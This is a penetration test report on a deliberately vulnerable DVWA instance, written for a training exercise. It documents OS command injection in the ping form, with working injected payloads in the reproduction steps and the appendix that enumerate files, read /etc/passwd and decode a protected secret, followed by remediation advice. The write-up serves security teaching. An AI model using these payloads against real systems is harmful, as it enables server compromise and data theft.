



Some sort of logo

DVWA Penetration Test

OS Command Injection Assessment

by Ryyni-CK

Target: <http://193.167.189.112:2167/>

Start of testing: August 1, 2026

End of testing: August 1, 2026

1. Executive Summary

A security assessment was performed against the Damn Vulnerable Web Application (DVWA) instance hosted at <http://193.167.189.112:2167/>, focusing on the **Command Injection** module. Testing confirmed an **OS command injection** vulnerability that allows arbitrary shell commands to be executed on the server with the privileges of the web service account (`www-data`).

The module builds a shell command by concatenating unsanitised user input directly into a `ping` command. By appending a shell command separator, an attacker can run any command of their choosing. This was used to enumerate the file system, locate a protected secret file and its decode helper script, and recover the protected value. One finding of **High** severity is reported.

Finding	Severity
OS command injection in the ping utility (arbitrary command execution)	High

2. Scope and Objectives

The assessment was limited to the target and objective below. Only the listed system was tested.

Item	Detail
Target application	Damn Vulnerable Web Application (DVWA) v1.9
Target URL	http://193.167.189.112:2167/
Module under test	Command Injection (Ping a device)
Security level	low
Parameter / vector	<code>ip</code> (submitted via the ping form; handled with <code>\$_REQUEST</code>)
Test type	Authenticated, grey-box (source available via "View Source")
Objective	Achieve command execution, locate the secret file and its decrypt helper, and recover the decrypted secret.

3. Methodology

Testing followed a standard input-injection approach aligned with the OWASP Testing Guide:

- **Source review.** The module source was read via "View Source" to confirm how the `ip` parameter is passed to the shell.
- **Confirmation.** A benign command separator was appended to prove command execution.
- **Enumeration.** The file system was searched for the target files.
- **Analysis.** The decode helper script was read to understand the decryption method.
- **Recovery.** The secret was decoded and captured.

4. Detailed Finding – OS Command Injection

Attribute	Value
Vulnerability	OS Command Injection
Location	Command Injection module, ip parameter
Severity	High
CVSS v3.1	8.8 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-78: Improper Neutralization of Special Elements used in an OS Command
OWASP	A03:2021 – Injection

4.1 Description

The application constructs an OS command by concatenating user input directly into the string passed to `shell_exec()`, with no escaping or validation. The relevant server-side logic is:

```
$target = $_REQUEST[ 'ip' ];  
// *nix branch  
$cmd = shell_exec( 'ping -c 4 ' . $target );  
echo "<pre>{$cmd}</pre>";
```

Because `$target` is inserted verbatim, a shell metacharacter such as `;` terminates the intended ping command and begins a new one. Neither `escapeshellarg()` nor an allow-list is applied, so any command runs with the web server's privileges.

4.2 Steps to Reproduce

Step 1 – Confirm execution. In the "Enter an IP address" box, submit:

```
127.0.0.1; id
```

The response returned the ping output followed by `uid=33(www-data) gid=33(www-data)`, confirming arbitrary command execution.

Step 2 – Enumerate and locate the target files.

```
127.0.0.1; ls -la  
127.0.0.1; find / -name secret 2>/dev/null  
127.0.0.1; find / -name 'runme_*.sh' 2>/dev/null
```

These located the two files in separate directories: `/etc/secret` and `/bin/runme_69300616.sh`.

Step 3 – Read the decode helper.

```
127.0.0.1; cat /bin/runme_69300616.sh
```

The script takes the secret file as an argument and simply base64-decodes it:

```
#!/bin/bash
if [[ $# -eq 0 ]] ; then
    echo 'No file given.'
    exit 0
fi
[ "$1" ] && SECRET="$1"
base64 -d $SECRET
```

4.3 Proof of Concept

Step 4 – Decrypt the secret. Invoking the helper with the secret's path (or decoding it directly) reveals the protected value:

```
127.0.0.1; bash /bin/runme_69300616.sh /etc/secret
# equivalent, without the script:
127.0.0.1; base64 -d /etc/secret
```

The decoded secret was returned inline on the page (value redacted in this report; recorded in the exercise submission):

```
480137a6 ..... dc67c2 [REDACTED]
```

Demonstrating broader impact. The same flaw permits reading any file the service can access, for example the local account list:

```
127.0.0.1; cat /etc/passwd
```

4.4 Impact

OS command injection is among the most severe web vulnerabilities because it yields direct code execution on the server. Realistic consequences include:

- Full read/write access to files readable by the service account (configuration, credentials, data).
- Establishing a reverse shell and interactive control of the host.
- Lateral movement and privilege escalation attempts from the foothold.
- Data destruction, defacement, or use of the host to attack others.

Here it was used to read a protected file and its decode helper, but the capability is general: with no input sanitisation, essentially any command can be run.

4.5 Remediation

The root cause is passing untrusted input to a shell. Recommended fixes, in order of importance:

- **Avoid the shell entirely.** Prefer native APIs or libraries over shelling out. If a command must be invoked, use an argument-array API that does not spawn a shell.
- **Escape all arguments.** If the shell is unavoidable, wrap every user-supplied value with `escapeshellarg()` and validate before use.
- **Validate with an allow-list.** For an IP field, accept only a strict pattern (four dot-separated octets) and reject everything else – do not blacklist characters.

- **Apply least privilege.** Run the web service as an unprivileged account with minimal file system access so any injection has limited reach.
- **Defense in depth.** Restrict outbound network access and monitor for anomalous child processes spawned by the web server.

5. Conclusion

The DVWA Command Injection module is vulnerable to OS command injection: user input is concatenated into a shell command without sanitisation, allowing arbitrary command execution as www-data. This was used to enumerate the file system, read the decode helper, and recover the decrypted secret. The vulnerability should be remediated by avoiding the shell, escaping arguments with `escapeshellarg()`, and enforcing strict input validation, supported by least-privilege execution. The finding is rated High severity.

Appendix A – Command Log

Injected commands used during the assessment (each prefixed with a benign IP and a separator):

```
127.0.0.1; id
127.0.0.1; pwd; ls -la
127.0.0.1; find / -name secret 2>/dev/null
127.0.0.1; find / -name 'runme_*.sh' 2>/dev/null
127.0.0.1; cat /bin/runme_69300616.sh
127.0.0.1; bash /bin/runme_69300616.sh /etc/secret
127.0.0.1; base64 -d /etc/secret
127.0.0.1; cat /etc/passwd
```

Produced for an authorised security training exercise against an intentionally vulnerable application (DVWA). Confidential.